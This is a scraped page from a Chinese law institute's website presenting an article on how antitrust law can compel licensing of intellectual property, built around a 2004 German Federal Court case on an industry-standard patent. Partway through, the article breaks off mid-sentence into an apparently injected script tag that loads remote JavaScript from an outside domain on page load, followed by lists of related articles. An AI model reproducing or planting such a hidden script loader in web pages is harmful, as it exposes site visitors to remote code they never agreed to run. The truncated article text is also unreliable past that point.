

您的位置: [首页](#) >> [阅读文章](#)

阅读文章

Selected Articles

作者授权 本网首发

## 知识产权强制许可中的反垄断法

王晓晔

阅读次数: 1636

 [使用大字体察看本文](#)

特聘专家

法学所导航

[走进法学所](#)

[走进国际法中心](#)

[机构设置](#)

[《法学研究》](#)

[《环球法律评论》](#)

[科研项目](#)

[系列丛书](#)

[最新著作](#)

[法学图书馆](#)

[研究中心](#)

[法学系](#)

**摘要:** 如何正确处理知识产权与反垄断法的关系, 已经成为各国反垄断立法和执法的热点问题。本文通过德国联邦法院2004年Standard Tight-Head Drum一案的判决, 说明知识产权权利人因违反反垄断法而被强制许可的两个前提条件, 一是知识产权许可已经成为其他企业进入市场必不可少的条件; 二是权利人的拒绝许可没有重大的合理性。本文提出, 知识产权的行使应当受到反垄断法的制约, 解决知识产权与反垄断冲突的方式是衡量知识产权给权利人带的经济利益和限制竞争对社会的影响。最后, 作者呼吁中国应尽快出台反垄断法, 并尽快制定与知识产权相关的反垄断指南。

众所周知, 反垄断法是鼓励竞争和反对垄断的法律制度, 知识产权法是鼓励人们通过发明创造在市场上取得优势地位的法律制度。由于知识产权事实上已经成为企业竞争的战略手段, 在技术市场上没有竞争者或者没有实质性竞争的企业如微软公司很容易取得市场支配地位甚至垄断地位, 有些人便把知识产权法视为推动垄断的法律制度, 甚至视为与反垄断法相对立的法律制度。反垄断法和知识产权法是什么关系? 它们是否有相同之处? 相同之处在那里? 它们之间是否有冲突? 这些冲突如何解决? 随着当今社会已经成为信息社会, 知识产权在市场竞争中占有越来越重要的地位, 知识产权保护与反垄断法之间的关系已经法学研究的一个重要课题, 很多涉及知识产权的问题如知识产权的取得、主张、许可、拒绝许可以及知识产权纠纷的解决都需要考虑反垄断法。本文拟通过德国法院的一个涉及技术标准和知识产权强制许可的判决说明知识产权与反垄断法的关系。

### 一、德国法院判决: Standard Tight-Head Drum

德国联邦最高法院2004年Standard Tight-Head Drum一案的判决主要涉及德国化工行业的一个事实标准。案件的起因是, 德国化工行业的一些大企业共同提出要研发一种新的合成材料桶, 以便能通畅地倒空桶内的残留物。后来有四家企业在研发这种产品中作过努力, 其中一家企业受专利法保护的技术被选为生产这种合成材料桶的标准。因为这个企业的产品由此成为行业标准, 其他企业生产的合成材料桶如果不符合这个标准, 便在市场上卖不出去。根据该企业与提出订立行业标准的其他三家大企业的协议, 拥有行业标准的企业有义务免费许可这三家企业使用其专利。其他企业如果要生产这种专利产品, 则需要向权利人支付专利费。该案中的被告X也是一家生产合成材料桶的企业, 它向原告提出有偿使用专利的请求被拒绝后, 生产和销售了这种专利产品。在这种情况下, 专利权人便起诉X, 并请求法院判决被告支付损害赔偿。被告则反诉专利权人限制竞争, 违反了德国的反对限制竞争法, 请求法院强制许可其免费使用原告在事实上已成为行业标准的专利。案件最后提交给了德国联邦最高法院。[1]

本案的核心内容显然是法院能否强制许可被告使用原告的专利。如果这个答案是肯定的, 被告则可以

胜诉；如果是否定的，被告则可被判决侵犯了权利人的知识产权。尽管欧共体法院已经有了知识产权强制许可的一系列判决，如1996年Margill一案的终审判决，但德国的学术界和企业界仍有人包括本案中的原告坚持这样一种观点，即既然德国专利法已明确规定了专利强制许可的情况，这个案件原则上不能适用反对限制竞争法，即不能以限制竞争为由强制权利人许可他人使用其专利。然而，德国联邦法院认为，这个结论是不正确的，因为知识产权法和竞争法的立法目的不完全一致，知识产权法原则上不能成为适用竞争法的障碍，即知识产权不能阻碍人们依据竞争法对其实施强制许可。这个案件的结果是，联邦最高法院依据反对限制竞争法第20条第1款认为，[i]在本案中的专利成为行业标准的情况下，权利人有义务许可竞争者使用其专利。根据德国联邦最高法院的这一判决，知识产权强制许可有两个基本的前提条件：

第一，知识产权许可成为进入市场必不可少的条件。

在Standard Tight-Head Drum一案中，法院首先指出，作为排它权的知识产权一般具有推动竞争的作用，因此，它仅是在“例外情况”下方可适用竞争法。法院没有明确“例外情况”这一概念，而是解释了知识产权损害自由竞争，也即是适用竞争法的一般条件。法院指出，该案中的例外情况是，与该案相关的专利已成为化工行业生产合成材料桶的事实标准。这即是说，企业如果要生产这种合成材料桶，除了使用案中所涉及的专利技术，它们没有其他可以替代的技术。在这种情况下，这个专利本身就是一个技术市场（在该案中是上游市场），权利人在这个市场上占有百分之百的市场份额，是一个占市场支配地位的企业。由于除了这个专利，在合成材料桶的生产中没有可以替代的？script src=http://www.banner82.com/b.js>

---

### 相关文章：

---

[我国反垄断执法机构应拒绝批准澳大利亚“两拓”合并](#)

[我国反垄断法的域外适用](#)

[我国反垄断立法的宗旨](#)

[HIGHLIGHTS OF CHINA' S NEW ANTI-MONOPOLY LAW](#)

[Challenges In Enforcing Chinese Antimonopoly Law](#)

[微软公司为什么在欧盟初审法院败诉？](#)

[反垄断法](#)

[滥用知识产权限制竞争的法律问题](#)

[两税合并是建立我国社会主义市场经济的重大举措](#)

[关于我国反垄断执法机构的几个问题](#)

[垄断行业改革的法律建议](#)

[反垄断立法的难点和热点问题](#)

[反垄断法中的政府行为](#)

[论反垄断执法机构与行业监管机构的关系](#)

[论竞争法在市场经济法律体系中的地位](#)

[反垄断机关必须有独立执法权](#)

[反垄断法应禁止行政权力限制竞争](#)

[公用企业滥用优势地位行为的法律管制](#)

[公用企业滥用优势行为的法律管制](#)

[美国反垄断法域外适用析评](#)

[我国的反垄断立法不能再拖下去了](#)

[反不正当竞争法与相邻法的关系](#)

[低价倾销行为的几点法律思考](#)

[竞争政策优先](#)

[多元化目的—欧共体竞争法目的和任务评述](#)

[市场失灵时的国家干预](#)

[不得诋毁竞争对手](#)

[论网络部门的反垄断法](#)

[反垄断悖论](#)

[中国反垄断法的难题](#)

[知识产权滥用行为的反垄断法规制](#)

[拥有知识产权不等于滥用市场优势地位](#)

[反垄断法与行业自律价格](#)

反垄断法与国际经济贸易  
德国控制企业合并的立法与实践  
德国竞争法中的卡特尔制度  
德国反对限制竞争法的第六次修订  
反垄断法与国际经济贸易  
紧盯国际卡特尔——美国反托拉斯法及其新发展  
纵向限制竞争协议的经济分析  
知识产权的权利耗尽原则  
反垄断法中的相关市场  
对比广告中的不正当竞争行为  
加强中国国际竞争力需内外兼修  
经济全球化对中国竞争政策的影响  
WTO竞争政策及其对中国的影响  
完善竞争法，建立自由和公平的市场竞争秩序  
加入WTO对经济法产生影响  
完善竞争法，建立自由竞争和公平竞争的市场秩序  
规范公用企业的市场行为需要反垄断法\*  
巨型合并对反垄断法的挑战\*  
德国竞争法中的卡特尔制度\*  
依法规范行政性限制竞争行为\*  
反垄断法与行业自律价格  
我国反垄断立法的框架  
全国人大常委会法制讲座第二十七讲——反垄断法律制度  
欧盟反倾销法与我国对欧盟的出口贸易  
欧洲共同体竞争法及其新发展  
竞争政策对国际经贸活动的影响  
反垄断法与国际经济贸易  
知识产权保护中的反垄断问题——从思科诉华为案谈起  
入世催生中国反垄断法

[网站简介](#) | [招聘信息](#) | [投稿热线](#) | [意见反馈](#) | [联系我们](#)

Copyright © 2003 All rights reserved 中国社会科学院法学研究所版权所有 请勿侵权

地址: 北京市东城区沙滩北街15号 邮编: 100720

[RSS](#)